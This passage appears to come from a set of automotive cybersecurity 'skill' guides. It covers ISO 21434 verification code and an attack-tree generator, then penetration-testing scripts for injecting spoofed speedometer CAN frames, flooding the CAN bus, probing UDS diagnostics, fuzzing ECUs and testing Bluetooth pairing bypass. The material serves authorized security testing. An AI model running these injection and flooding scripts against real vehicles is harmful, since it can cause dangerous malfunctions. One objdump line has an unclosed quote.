description: "Firmware shall be signed with RSA-4096 signature"
verification: "Cryptographic signature verification test"
- id: "CSR-002"
goal: "CG-001"
description: "Secure boot shall verify firmware signature before execution"
verification: "Tampered firmware rejection test"
- id: "CSR-003"
goal: "CG-002"
description: "CAN messages shall include HMAC-SHA256 authentication tag"
verification: "Message authentication test with spoofed frames"
- id: "CSR-004"
goal: "CG-003"
description: "Private keys shall be stored in HSM with no export capability"
verification: "Physical penetration test, key extraction attempt"
- id: "CSR-005"
goal: "CG-003"
description: "Implement side-channel attack countermeasures (timing, power analysis)"
verification: "Differential power analysis (DPA) test"
```
### Phase 4: Cybersecurity Verification
```python
#!/usr/bin/env python3
"""
ISO 21434 Cybersecurity Verification Test Suite
Automated validation of cybersecurity requirements
"""
import subprocess
import hashlib
import hmac
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend
import struct
class CybersecurityVerifier:
def __init__(self):
self.test_results = []
def verify_csr_001_firmware_signature(self, firmware_path: str, signature_path: str, pubkey_path: str) -> bool:
"""
CSR-001: Verify firmware is signed with RSA-4096
Returns True if signature valid, False otherwise
"""
print("\n[TEST] CSR-001: Firmware Signature Verification")
try:
# Load public key
with open(pubkey_path, 'rb') as f:
public_key = serialization.load_pem_public_key(f.read(), backend=default_backend())
# Load firmware and signature
with open(firmware_path, 'rb') as f:
firmware_data = f.read()
with open(signature_path, 'rb') as f:
signature = f.read()
# Verify signature
public_key.verify(
signature,
firmware_data,
padding.PSS(
mgf=padding.MGF1(hashes.SHA256()),
salt_length=padding.PSS.MAX_LENGTH
),
hashes.SHA256()
)
print(" [PASS] Firmware signature valid")
self.test_results.append(("CSR-001", "PASS"))
return True
except Exception as e:
print(f" [FAIL] Signature verification failed: {e}")
self.test_results.append(("CSR-001", "FAIL"))
return False
def verify_csr_002_secure_boot_rejection(self, tampered_firmware_path: str) -> bool:
"""
CSR-002: Verify secure boot rejects tampered firmware
Simulates flashing tampered firmware and checking boot status
"""
print("\n[TEST] CSR-002: Secure Boot Tamper Detection")
# This would interface with actual ECU via diagnostic protocol
# Simulated example:
try:
# Attempt to flash tampered firmware
result = subprocess.run(
['flash_tool', '--ecu', 'TCU', '--firmware', tampered_firmware_path],
capture_output=True,
text=True,
timeout=30
)
# Check if ECU rejected the firmware
if "SIGNATURE_INVALID" in result.stderr or result.returncode != 0:
print(" [PASS] Secure boot rejected tampered firmware")
self.test_results.append(("CSR-002", "PASS"))
return True
else:
print(" [FAIL] Secure boot accepted tampered firmware")
self.test_results.append(("CSR-002", "FAIL"))
return False
except Exception as e:
print(f" [ERROR] Test execution failed: {e}")
self.test_results.append(("CSR-002", "ERROR"))
return False
def verify_csr_003_can_message_authentication(self, can_interface: str) -> bool:
"""
CSR-003: Verify CAN messages include HMAC authentication
Captures CAN traffic and validates HMAC tags
"""
print("\n[TEST] CSR-003: CAN Message Authentication")
try:
# Capture CAN frame (example using SocketCAN)
import can
bus = can.interface.Bus(channel=can_interface, bustype='socketcan')
message = bus.recv(timeout=5.0)
if message is None:
print(" [FAIL] No CAN message received")
self.test_results.append(("CSR-003", "FAIL"))
return False
# Extract payload and HMAC (last 32 bytes)
if len(message.data) < 32:
print(" [FAIL] CAN message too short for HMAC")
self.test_results.append(("CSR-003", "FAIL"))
return False
payload = message.data[:-32]
received_hmac = message.data[-32:]
# Verify HMAC (key would be provisioned via secure channel)
shared_key = b'REPLACE_WITH_PROVISIONED_KEY'
expected_hmac = hmac.new(shared_key, payload, hashlib.sha256).digest()
if hmac.compare_digest(received_hmac, expected_hmac):
print(" [PASS] CAN message HMAC valid")
self.test_results.append(("CSR-003", "PASS"))
return True
else:
print(" [FAIL] CAN message HMAC invalid")
self.test_results.append(("CSR-003", "FAIL"))
return False
except Exception as e:
print(f" [ERROR] Test failed: {e}")
self.test_results.append(("CSR-003", "ERROR"))
return False
def generate_verification_report(self, output_file: str):
"""Generate ISO 21434 verification report"""
total = len(self.test_results)
passed = sum(1 for _, result in self.test_results if result == "PASS")
failed = sum(1 for _, result in self.test_results if result == "FAIL")
errors = sum(1 for _, result in self.test_results if result == "ERROR")
with open(output_file, 'w') as f:
f.write("ISO/SAE 21434 Cybersecurity Verification Report\n")
f.write("=" * 60 + "\n\n")
f.write(f"Date: 2026-03-19\n")
f.write(f"Item: Telematics Control Unit (TCU)\n")
f.write(f"Standard: ISO/SAE 21434:2021\n\n")
f.write(f"Summary:\n")
f.write(f" Total Tests: {total}\n")
f.write(f" Passed: {passed}\n")
f.write(f" Failed: {failed}\n")
f.write(f" Errors: {errors}\n\n")
f.write(f"Test Results:\n")
for req_id, result in self.test_results:
f.write(f" {req_id}: {result}\n")
if failed == 0 and errors == 0:
f.write("\nVerdict: COMPLIANT\n")
else:
f.write("\nVerdict: NON-COMPLIANT\n")
print(f"\nVerification report saved: {output_file}")
# Example usage
if __name__ == "__main__":
verifier = CybersecurityVerifier()
# Run verification tests
verifier.verify_csr_001_firmware_signature(
"/tmp/tcu_firmware.bin",
"/tmp/tcu_firmware.sig",
"/tmp/tcu_pubkey.pem"
)
verifier.verify_csr_002_secure_boot_rejection("/tmp/tampered_firmware.bin")
verifier.verify_csr_003_can_message_authentication("can0")
# Generate report
verifier.generate_verification_report("/tmp/iso21434_verification_report.txt")
```
## UN R155 Compliance
```yaml
# UN R155 Type Approval Documentation Template
un_r155_compliance:
vehicle_manufacturer: "OEM Example Inc."
vehicle_type: "Electric SUV Model X"
approval_date: "2026-03-19"
csms_description:
scope: "Development, production, post-production phases"
organizational_structure:
cybersecurity_officer: "John Doe"
security_team: ["Security Architect", "Pentest Lead", "Incident Response"]
processes:
- risk_management: "ISO 21434 TARA process implemented"
- secure_development: "Secure SDLC with threat modeling"
- testing: "Penetration testing, fuzzing, static analysis"
- vulnerability_management: "CVE monitoring, patch management"
- incident_response: "24/7 SOC, incident playbooks"
cybersecurity_threats_addressed:
- threat: "Backend Server Compromise"
mitigation: "TLS 1.3, certificate pinning, rate limiting"
- threat: "Vehicle Data Extraction"
mitigation: "Data encryption at rest (AES-256)"
- threat: "Unauthorized Vehicle Access"
mitigation: "BLE pairing with PIN, rolling codes"
cybersecurity_testing_performed:
- type: "Penetration Testing"
scope: "TCU, Gateway, Infotainment"
result: "No critical vulnerabilities found"
- type: "Fuzzing"
scope: "CAN protocol stack, Ethernet stack"
result: "2 medium severity bugs fixed"
post_production_monitoring:
- "SIEM integration for fleet-wide anomaly detection"
- "OTA security patch deployment within 72 hours"
- "Vulnerability disclosure program (VDP)"
```
## ISO 21434 Tool: Attack Tree Generator
```python
#!/usr/bin/env python3
"""
Attack Tree Generator for ISO 21434 TARA
Generates visual attack trees for threat scenarios
"""
class AttackTreeNode:
def __init__(self, name: str, node_type: str, operator: str = None):
self.name = name
self.node_type = node_type # "goal", "attack_step"
self.operator = operator # "AND", "OR", None
self.children = []
self.feasibility_score = None
def add_child(self, child):
self.children.append(child)
return child
def to_dict(self):
return {
"name": self.name,
"type": self.node_type,
"operator": self.operator,
"feasibility": self.feasibility_score,
"children": [child.to_dict() for child in self.children]
}
def generate_rce_attack_tree():
"""Generate attack tree for Remote Code Execution threat"""
# Root goal
root = AttackTreeNode("Achieve Remote Code Execution on TCU", "goal", "AND")
# Top-level steps (AND)
step1 = root.add_child(AttackTreeNode("Gain Network Access to OTA Server", "attack_step", "OR"))
step2 = root.add_child(AttackTreeNode("Inject Malicious Firmware", "attack_step", "AND"))
step3 = root.add_child(AttackTreeNode("Bypass Signature Verification", "attack_step", "OR"))
# Step 1 branches (OR)
step1.add_child(AttackTreeNode("Compromise OTA Server Credentials", "attack_step"))
step1.add_child(AttackTreeNode("Man-in-the-Middle Attack on TLS Connection", "attack_step"))
step1.add_child(AttackTreeNode("Exploit OTA Server Vulnerability (CVE)", "attack_step"))
# Step 2 branches (AND)
step2.add_child(AttackTreeNode("Craft Malicious Firmware Payload", "attack_step"))
step2.add_child(AttackTreeNode("Upload Firmware to OTA Server", "attack_step"))
# Step 3 branches (OR)
step3.add_child(AttackTreeNode("Extract Private Key from HSM", "attack_step"))
step3.add_child(AttackTreeNode("Exploit Signature Verification Bug", "attack_step"))
step3.add_child(AttackTreeNode("Downgrade to Unsigned Firmware", "attack_step"))
return root
def export_attack_tree_graphviz(tree: AttackTreeNode, output_file: str):
"""Export attack tree to Graphviz DOT format"""
dot_lines = ["digraph AttackTree {"]
dot_lines.append(' node [shape=box];')
node_counter = [0]
def traverse(node, parent_id=None):
current_id = node_counter[0]
node_counter[0] += 1
# Node label
label = node.name
if node.operator:
label += f"\\n[{node.operator}]"
# Node style
if node.node_type == "goal":
style = 'style=filled, fillcolor=lightblue'
else:
style = 'style=filled, fillcolor=lightyellow'
dot_lines.append(f' node{current_id} [label="{label}", {style}];')
if parent_id is not None:
dot_lines.append(f' node{parent_id} -> node{current_id};')
for child in node.children:
traverse(child, current_id)
traverse(tree)
dot_lines.append("}")
with open(output_file, 'w') as f:
f.write('\n'.join(dot_lines))
print(f"Attack tree exported: {output_file}")
print("Generate PNG: dot -Tpng attack_tree.dot -o attack_tree.png")
if __name__ == "__main__":
tree = generate_rce_attack_tree()
export_attack_tree_graphviz(tree, "/tmp/rce_attack_tree.dot")
```
## Best Practices
1. **TARA Execution**: Perform TARA at item definition phase and update after significant changes
2. **Risk Treatment Traceability**: Maintain traceability matrix from threats → cybersecurity goals → requirements → tests
3. **Tool Support**: Use dedicated ISO 21434 tools (Medini Analyze, PREEvision, ITEM ToolKit)
4. **Cross-Functional Collaboration**: Involve safety engineers, architects, developers, pentesters
5. **Continuous Monitoring**: ISO 21434 is not one-time; requires ongoing vulnerability management
## References
- ISO/SAE 21434:2021 - Road vehicles - Cybersecurity engineering
- UN R155 - Uniform provisions concerning cybersecurity and CSMS
- UN R156 - Uniform provisions concerning software update and SUMS
- UNECE WP.29 - Cybersecurity type approval guidance
---
## Penetration Testing Automotive
# Automotive Penetration Testing Skill
## Overview
Expert skill for performing security assessments on automotive systems. Covers CAN fuzzing, wireless attacks (Bluetooth/WiFi), infotainment exploitation, ECU firmware reverse engineering, and specialized automotive pentest tools.
## Core Competencies
### Penetration Testing Methodology
- **Reconnaissance**: Asset discovery, attack surface mapping
- **Vulnerability Assessment**: Known CVEs, configuration issues
- **Exploitation**: Proof-of-concept attack development
- **Post-Exploitation**: Privilege escalation, lateral movement
- **Reporting**: Executive summary, technical findings, remediation roadmap
### Attack Vectors
- **CAN Bus**: Injection, spoofing, DoS, fuzzing
- **Wireless**: Bluetooth pairing bypass, WiFi WPA3 attacks
- **Infotainment**: Web browser exploitation, USB attacks
- **Diagnostics**: UDS brute-force, seed-key cracking
- **OTA**: MITM attacks, firmware downgrade
## Toolset
### Essential Tools
- **CANalyze**: CAN traffic analysis and injection
- **CarShark**: Wireshark for automotive protocols
- **ICSim**: Instrument Cluster Simulator for testing
- **can-utils**: Linux SocketCAN utilities
- **Metasploit**: Framework for exploitation
- **Burp Suite**: Web application testing (infotainment)
## CAN Bus Penetration Testing
### CAN Injection with can-utils
```bash
#!/bin/bash
# CAN Bus Penetration Testing Script
# Tests for basic CAN injection vulnerabilities
set -e
INTERFACE="can0"
echo "=== CAN Bus Penetration Test ==="
echo "[INFO] Interface: $INTERFACE"
# Setup CAN interface
setup_can() {
echo "[1/5] Setting up CAN interface..."
sudo ip link set $INTERFACE type can bitrate 500000
sudo ip link set up $INTERFACE
echo "[PASS] CAN interface configured (500 kbps)"
}
# Reconnaissance: Capture normal traffic
recon_traffic() {
echo "[2/5] Reconnaissance: Capturing normal traffic..."
candump $INTERFACE -n 1000 > /tmp/can_baseline.log
echo "[INFO] Captured 1000 frames to /tmp/can_baseline.log"
# Analyze unique CAN IDs
cat /tmp/can_baseline.log | awk '{print $3}' | cut -d'#' -f1 | sort -u > /tmp/can_ids.txt
CAN_ID_COUNT=$(wc -l < /tmp/can_ids.txt)
echo "[INFO] Unique CAN IDs found: $CAN_ID_COUNT"
head -10 /tmp/can_ids.txt
}
# Test 1: CAN Injection (Speedometer manipulation)
test_speedometer_injection() {
echo "[3/5] Test 1: Speedometer Manipulation"
# Common speedometer CAN IDs: 0x1A0 (VW), 0x0B4 (Toyota), 0x3E9 (Ford)
SPEED_CAN_ID="1A0"
echo "[INFO] Injecting fake speed messages (CAN ID: 0x$SPEED_CAN_ID)..."
for speed_kmh in 0 50 100 150 200; do
# Calculate payload (speed in km/h * 100, little-endian)
speed_raw=$((speed_kmh * 100))
low_byte=$((speed_raw & 0xFF))
high_byte=$(((speed_raw >> 8) & 0xFF))
payload=$(printf "%02X%02X000000000000" $low_byte $high_byte)
echo " [INJECT] Speed: ${speed_kmh} km/h -> Payload: $payload"
cansend $INTERFACE ${SPEED_CAN_ID}#${payload}
sleep 1
done
echo "[PASS] Speed injection test complete"
echo "[FINDING] Speedometer accepts spoofed CAN messages without authentication"
}
# Test 2: CAN Flooding (DoS attack)
test_can_flooding() {
echo "[4/5] Test 2: CAN Bus Flooding (DoS)"
FLOOD_CAN_ID="7FF" # High priority ID
DURATION=5
echo "[WARN] Flooding CAN bus for ${DURATION} seconds..."
echo "[INFO] This may cause legitimate messages to be delayed/dropped"
timeout $DURATION bash -c "while true; do cansend $INTERFACE ${FLOOD_CAN_ID}#DEADBEEFDEADBEEF; done" &
FLOOD_PID=$!
sleep $DURATION
wait $FLOOD_PID 2>/dev/null || true
echo "[PASS] Flooding test complete"
echo "[FINDING] CAN bus has no rate limiting - vulnerable to DoS"
}
# Test 3: Diagnostic Protocol Attack (UDS)
test_uds_attack() {
echo "[5/5] Test 3: UDS Diagnostic Attack"
# UDS diagnostic request CAN ID: 0x7E0 (physical), 0x7DF (functional)
UDS_REQUEST_ID="7E0"
UDS_RESPONSE_ID="7E8"
echo "[INFO] Sending UDS diagnostics session request..."
# 0x10 0x01 = Start diagnostic session (default)
cansend $INTERFACE ${UDS_REQUEST_ID}#021001000000000000
sleep 0.1
# Check for response
timeout 2 candump $INTERFACE,${UDS_RESPONSE_ID}:7FF -n 1 > /tmp/uds_response.log 2>&1 || true
if [ -s /tmp/uds_response.log ]; then
echo "[PASS] ECU responded to UDS session request"
cat /tmp/uds_response.log
echo "[FINDING] ECU accepts UDS diagnostic commands without authentication"
else
echo "[FAIL] No UDS response received (ECU may require authentication)"
fi
}
# Main execution
setup_can
recon_traffic
test_speedometer_injection
test_can_flooding
test_uds_attack
echo ""
echo "=== Penetration Test Summary ==="
echo "[CRITICAL] CAN bus has no message authentication (SecOC not implemented)"
echo "[HIGH] ECU vulnerable to message injection and spoofing"
echo "[HIGH] No rate limiting - DoS attacks possible"
echo "[MEDIUM] UDS diagnostic interface exposed without authentication"
echo ""
echo "Recommendations:"
echo " 1. Implement SecOC (Secure Onboard Communication) per AUTOSAR"
echo " 2. Add message authentication codes (MAC) to critical CAN IDs"
echo " 3. Implement gateway filtering and rate limiting"
echo " 4. Require seed-key authentication for UDS diagnostic access"
```
### CAN Fuzzing with Python
```python
#!/usr/bin/env python3
"""
CAN Bus Fuzzer for Vulnerability Discovery
Systematically tests CAN protocol implementation
"""
import can
import random
import time
from itertools import product
class CANFuzzer:
"""Intelligent CAN fuzzing framework"""
def __init__(self, interface: str = 'can0'):
self.bus = can.interface.Bus(channel=interface, bustype='socketcan')
self.crashes = []
self.anomalies = []
print(f"=== CAN Fuzzer Initialized ===")
print(f"[INFO] Interface: {interface}")
print(f"[WARN] Fuzzing may cause ECU crashes or vehicle malfunctions")
def fuzz_can_ids(self, start_id: int = 0x000, end_id: int = 0x7FF, delay: float = 0.01):
"""Fuzz all possible CAN IDs"""
print(f"\n[FUZZ] Testing CAN IDs 0x{start_id:03X} to 0x{end_id:03X}")
for can_id in range(start_id, end_id + 1):
payload = [0x00] * 8
msg = can.Message(
arbitration_id=can_id,
data=payload,
is_extended_id=False
)
try:
self.bus.send(msg)
except can.CanError as e:
print(f"[ERROR] Failed to send CAN ID 0x{can_id:03X}: {e}")
time.sleep(delay)
if can_id % 100 == 0:
print(f"[INFO] Progress: 0x{can_id:03X} / 0x{end_id:03X}")
print(f"[PASS] CAN ID fuzzing complete")
def fuzz_dlc(self, target_can_id: int):
"""Fuzz Data Length Code (DLC) field"""
print(f"\n[FUZZ] Testing DLC values for CAN ID 0x{target_can_id:03X}")
for dlc in range(0, 16): # DLC 0-15 (valid: 0-8)
# Generate payload of specified length
if dlc <= 8:
payload = [0xAA] * dlc
else:
payload = [0xAA] * 8 # Invalid DLC, max 8 bytes
msg = can.Message(
arbitration_id=target_can_id,
data=payload,
is_extended_id=False
)
print(f" [TEST] DLC={dlc}, Payload={len(payload)} bytes")
try:
self.bus.send(msg)
except Exception as e:
print(f" [ANOMALY] DLC={dlc} caused error: {e}")
self.anomalies.append({'test': 'dlc_fuzz', 'dlc': dlc, 'error': str(e)})
time.sleep(0.05)
print(f"[PASS] DLC fuzzing complete")
def fuzz_payload_random(self, target_can_id: int, iterations: int = 1000):
"""Random payload fuzzing"""
print(f"\n[FUZZ] Random payload fuzzing (CAN ID 0x{target_can_id:03X}, {iterations} iterations)")
for i in range(iterations):
# Random payload length and content
dlc = random.randint(0, 8)
payload = [random.randint(0, 255) for _ in range(dlc)]
msg = can.Message(
arbitration_id=target_can_id,
data=payload,
is_extended_id=False
)
self.bus.send(msg)
if i % 100 == 0:
print(f"[INFO] Progress: {i} / {iterations}")
time.sleep(0.001)
print(f"[PASS] Random payload fuzzing complete")
def fuzz_payload_boundary(self, target_can_id: int):
"""Boundary value fuzzing (edge cases)"""
print(f"\n[FUZZ] Boundary value testing (CAN ID 0x{target_can_id:03X})")
boundary_values = [
[0x00] * 8, # All zeros
[0xFF] * 8, # All ones
[0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF], # Alternating
[0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # MSB set
[0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF], # Max positive (signed)
[0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA], # Pattern 0b10101010
[0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55], # Pattern 0b01010101
]
for idx, payload in enumerate(boundary_values):
msg = can.Message(
arbitration_id=target_can_id,
data=payload,
is_extended_id=False
)
print(f" [TEST] Boundary case {idx + 1}: {payload}")
self.bus.send(msg)
time.sleep(0.1)
print(f"[PASS] Boundary value fuzzing complete")
def monitor_for_crashes(self, duration: int = 60):
"""Monitor CAN bus for crash indicators"""
print(f"\n[MONITOR] Watching for ECU crashes ({duration}s)...")
# Common crash indicators:
# - Sudden stop of periodic messages
# - Error frames on CAN bus
# - Reset messages (e.g., CAN ID 0x000)
message_counts = {}
start_time = time.time()
while (time.time() - start_time) < duration:
msg = self.bus.recv(timeout=1.0)
if msg is None:
continue
can_id = msg.arbitration_id
if can_id not in message_counts:
message_counts[can_id] = 0
message_counts[can_id] += 1
# Analyze for anomalies
print(f"\n[ANALYSIS] Message statistics:")
for can_id, count in sorted(message_counts.items()):
print(f" CAN ID 0x{can_id:03X}: {count} messages")
print(f"[INFO] Monitoring complete - check ECU for unexpected behavior")
def generate_report(self, output_file: str):
"""Generate fuzzing report"""
with open(output_file, 'w') as f:
f.write("CAN Bus Fuzzing Report\n")
f.write("=" * 60 + "\n\n")
f.write(f"Total anomalies detected: {len(self.anomalies)}\n")
f.write(f"Total crashes detected: {len(self.crashes)}\n\n")
f.write("Anomalies:\n")
for anomaly in self.anomalies:
f.write(f" - {anomaly}\n")
f.write("\nRecommendations:\n")
f.write(" 1. Fix input validation for identified anomalies\n")
f.write(" 2. Implement bounds checking on all CAN message fields\n")
f.write(" 3. Add graceful error handling (no crashes)\n")
print(f"[INFO] Report generated: {output_file}")
# Example usage
def demo_can_fuzzing():
fuzzer = CANFuzzer(interface='vcan0')
# Fuzz specific CAN ID (e.g., steering angle sensor)
target_id = 0x025
fuzzer.fuzz_dlc(target_id)
fuzzer.fuzz_payload_boundary(target_id)
fuzzer.fuzz_payload_random(target_id, iterations=500)
# Monitor for crashes
fuzzer.monitor_for_crashes(duration=30)
# Generate report
fuzzer.generate_report('/tmp/can_fuzzing_report.txt')
if __name__ == "__main__":
demo_can_fuzzing()
```
## Bluetooth Penetration Testing
```python
#!/usr/bin/env python3
"""
Bluetooth Penetration Testing for Vehicle Systems
Tests pairing, encryption, and authentication
"""
import bluetooth
import subprocess
class BluetoothPenTest:
"""Bluetooth security assessment"""
def __init__(self):
print("=== Bluetooth Penetration Test ===")
def scan_devices(self):
"""Discover nearby Bluetooth devices"""
print("\n[1/5] Scanning for Bluetooth devices...")
devices = bluetooth.discover_devices(
duration=8,
lookup_names=True,
flush_cache=True,
lookup_class=True
)
print(f"[INFO] Found {len(devices)} devices:")
for addr, name, device_class in devices:
print(f" {addr} - {name} (Class: 0x{device_class:06X})")
# Identify automotive systems
if "car" in name.lower() or "auto" in name.lower() or "vehicle" in name.lower():
print(f" [!] Potential vehicle system detected")
return devices
def test_pairing_bypass(self, target_addr: str):
"""Test for pairing bypass vulnerabilities"""
print(f"\n[2/5] Testing pairing mechanisms for {target_addr}...")
# Attempt to connect without pairing
try:
sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
sock.connect((target_addr, 1))
print(f"[CRITICAL] Connected without pairing!")
print(f"[FINDING] Device accepts connections without authentication")
sock.close()
except bluetooth.btcommon.BluetoothError as e:
print(f"[INFO] Connection rejected (expected): {e}")
# Test weak PIN codes
weak_pins = ["0000", "1234", "1111", "0123"]
print(f"[INFO] Testing common PIN codes...")
for pin in weak_pins:
print(f" Trying PIN: {pin}")
# Real implementation would use bluetoothctl or pybluez pairing
print(f"[RECOMMENDATION] Use 6-digit random PIN or NFC pairing")
def test_bluejacking(self, target_addr: str):
"""Test for bluejacking vulnerability (unsolicited messages)"""
print(f"\n[3/5] Testing bluejacking (OBEX Push)...")
# Attempt OBEX Push without pairing
result = subprocess.run(
['obexftp', '-b', target_addr, '-B', '10', '-l'],
capture_output=True,
text=True
)
if result.returncode == 0:
print(f"[HIGH] OBEX Push accessible without pairing")
print(f"[FINDING] Attacker can send unsolicited files")
else:
print(f"[PASS] OBEX Push requires pairing")
def test_service_discovery(self, target_addr: str):
"""Enumerate Bluetooth services (SDP)"""
print(f"\n[4/5] Service Discovery (SDP)...")
services = bluetooth.find_service(address=target_addr)
if not services:
print(f"[INFO] No services found (device may be in secure mode)")
return
print(f"[INFO] Found {len(services)} services:")
for svc in services:
print(f" Service: {svc['name']}")
print(f" Protocol: {svc['protocol']}")
print(f" Port: {svc['port']}")
print(f" Service ID: {svc['service-id']}")
# Flag suspicious services
if 'OBD' in svc['name'] or 'Diagnostic' in svc['name']:
print(f" [!] Diagnostic service exposed over Bluetooth")
def test_encryption_downgrade(self, target_addr: str):
"""Test for encryption downgrade attacks"""
print(f"\n[5/5] Testing encryption downgrade...")
# Attempt connection with no encryption
sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
try:
# Set security level to low (no encryption)
sock.setsockopt(bluetooth.SOL_RFCOMM, bluetooth.RFCOMM_LM, 0)
sock.connect((target_addr, 1))
print(f"[CRITICAL] Connection accepted without encryption!")
print(f"[FINDING] Bluetooth LE Legacy Pairing vulnerability")
sock.close()
except Exception as e:
print(f"[PASS] Unencrypted connection rejected: {e}")
# Example usage
def demo_bluetooth_pentest():
pentest = BluetoothPenTest()
# Scan for devices
devices = pentest.scan_devices()
if devices:
# Test first discovered device
target_addr = devices[0][0]
pentest.test_service_discovery(target_addr)
pentest.test_pairing_bypass(target_addr)
pentest.test_bluejacking(target_addr)
pentest.test_encryption_downgrade(target_addr)
print("\n=== Bluetooth Penetration Test Complete ===")
if __name__ == "__main__":
demo_bluetooth_pentest()
```
## ECU Firmware Reverse Engineering
```python
#!/usr/bin/env python3
"""
ECU Firmware Reverse Engineering Toolkit
Binary analysis and vulnerability discovery
"""
import subprocess
import re
import os
class FirmwareAnalyzer:
"""Analyze ECU firmware binaries"""
def __init__(self, firmware_path: str):
self.firmware_path = firmware_path
self.findings = []
print(f"=== Firmware Analyzer ===")
print(f"[INFO] Firmware: {firmware_path}")
def extract_strings(self):
"""Extract printable strings from firmware"""
print(f"\n[1/5] Extracting strings...")
result = subprocess.run(
['strings', '-n', '8', self.firmware_path],
capture_output=True,
text=True
)
strings_output = result.stdout.split('\n')
# Search for sensitive data
sensitive_patterns = {
'URLs': r'https?://[^\s]+',
'IP Addresses': r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b',
'Emails': r'[\w\.-]+@[\w\.-]+\.\w+',
'API Keys': r'[A-Za-z0-9]{32,}',
'Passwords': r'(password|passwd|pwd)[\s:=]+\S+',
}
for category, pattern in sensitive_patterns.items():
matches = [s for s in strings_output if re.search(pattern, s, re.IGNORECASE)]
if matches:
print(f"\n[FINDING] {category} found in firmware:")
for match in matches[:5]: # Show first 5
print(f" - {match}")
self.findings.append({
'category': category,
'severity': 'HIGH',
'count': len(matches)
})
def check_security_features(self):
"""Check for security mitigations"""
print(f"\n[2/5] Checking security features...")
# Check for NX (No Execute) bit
result = subprocess.run(
['readelf', '-l', self.firmware_path],
capture_output=True,
text=True
)
if 'GNU_STACK' in result.stdout and 'RWE' not in result.stdout:
print(f"[PASS] NX (DEP) enabled")
else:
print(f"[FAIL] NX disabled - stack is executable")
self.findings.append({
'issue': 'Missing NX protection',
'severity': 'MEDIUM',
'remediation': 'Compile with -z noexecstack'
})
# Check for PIE (Position Independent Executable)
result = subprocess.run(
['readelf', '-h', self.firmware_path],
capture_output=True,
text=True
)
if 'DYN' in result.stdout:
print(f"[PASS] PIE enabled")
else:
print(f"[FAIL] PIE disabled - ASLR ineffective")
self.findings.append({
'issue': 'Missing PIE',
'severity': 'MEDIUM',
'remediation': 'Compile with -fPIE -pie'
})
# Check for stack canaries
result = subprocess.run(
['readelf', '-s', self.firmware_path],
capture_output=True,
text=True
)
if '__stack_chk_fail' in result.stdout:
print(f"[PASS] Stack canaries present")
else:
print(f"[FAIL] No stack canaries - buffer overflow risk")
self.findings.append({
'issue': 'Missing stack canaries',
'severity': 'HIGH',
'remediation': 'Compile with -fstack-protector-strong'
})
def find_hardcoded_keys(self):
"""Search for hardcoded cryptographic keys"""
print(f"\n[3/5] Searching for hardcoded keys...")
# Use binwalk to find crypto signatures
result = subprocess.run(
['binwalk', '-E', self.firmware_path],
capture_output=True,
text=True
)
# High entropy regions may contain keys
if result.returncode == 0:
print(f"[INFO] Entropy analysis complete")
# Parse binwalk output for high entropy
# Search for common key headers
result = subprocess.run(
['strings', self.firmware_path],
capture_output=True,
text=True
)
key_indicators = ['-----BEGIN', 'RSA PRIVATE', 'ssh-rsa', 'PuTTY-User-Key']
for indicator in key_indicators:
if indicator in result.stdout:
print(f"[CRITICAL] Hardcoded key found: {indicator}")
self.findings.append({
'issue': f'Hardcoded key: {indicator}',
'severity': 'CRITICAL',
'remediation': 'Store keys in HSM or secure enclave'
})
def check_known_vulnerabilities(self):
"""Check for known vulnerable functions"""
print(f"\n[4/5] Checking for known vulnerable functions...")
dangerous_functions = [
'strcpy', 'strcat', 'gets', 'sprintf', 'vsprintf',
'scanf', 'sscanf', 'fscanf', 'vfscanf', 'realpath',
'getwd', 'getpass', 'streadd', 'strecpy', 'strtrns'
]
result = subprocess.run(
['nm', '-D', self.firmware_path],
capture_output=True,
text=True
)
for func in dangerous_functions:
if func in result.stdout:
print(f"[WARN] Dangerous function used: {func}()")
self.findings.append({
'issue': f'Use of {func}()',
'severity': 'MEDIUM',
'remediation': f'Replace with safe alternative (e.g., strncpy for strcpy)'
})
def disassemble_entry_point(self):
"""Disassemble entry point for analysis"""
print(f"\n[5/5] Disassembling entry point...")
result = subprocess.run(
['objdump', '-d', self.firmware_path, '-j', '.text', '--start-address=0', '--stop-address=256],
capture_output=True,
text=True
)
if result.returncode == 0:
print(f"[INFO] Entry point disassembly:")
print(result.stdout[:500]) # Show first 500 chars
def generate_report(self, output_file: str):
"""Generate vulnerability report"""
with open(output_file, 'w') as f:
f.write("ECU Firmware Security Assessment Report\n")
f.write("=" * 60 + "\n\n")
f.write(f"Firmware: {os.path.basename(self.firmware_path)}\n")
f.write(f"Total findings: {len(self.findings)}\n\n")
# Group by severity
critical = [f for f in self.findings if f.get('severity') == 'CRITICAL']
high = [f for f in self.findings if f.get('severity') == 'HIGH']
medium = [f for f in self.findings if f.get('severity') == 'MEDIUM']
f.write(f"Critical: {len(critical)}\n")
f.write(f"High: {len(high)}\n")
f.write(f"Medium: {len(medium)}\n\n")
f.write("Findings:\n")
for finding in self.findings:
f.write(f"\n[{finding.get('severity', 'INFO')}] ")
f.write(f"{finding.get('issue', finding.get('category'))}\n")
if 'remediation' in finding:
f.write(f" Remediation: {finding['remediation']}\n")
print(f"\n[INFO] Report generated: {output_file}")
# Example usage
def demo_firmware_analysis():
analyzer = FirmwareAnalyzer('/tmp/ecu_firmware.elf')
analyzer.extract_strings()
analyzer.check_security_features()
analyzer.find_hardcoded_keys()
analyzer.check_known_vulnerabilities()
analyzer.disassemble_entry_point()
analyzer.generate_report('/tmp/firmware_security_report.txt')
if __name__ == "__main__":
demo_firmware_analysis()
```
## Best Practices
1. **Scope & Authorization**: Always obtain written permission before testing
2. **Test Environment**: Use isolated test bench, never production vehicles
3. **Documentation**: Record all findings with PoC code and remediation guidance
4. **Responsible Disclosure**: Follow 90-day disclosure timeline per ISO 21434
5. **Tool Validation**: Verify tools don't cause permanent damage to ECUs
## References
- OWASP Automotive Security Testing Guide
- SAE J3061: Cybersecurity Guidebook for Cyber-Physical Vehicle Systems
- Charlie Miller & Chris Valasek: Car Hacking Research Papers
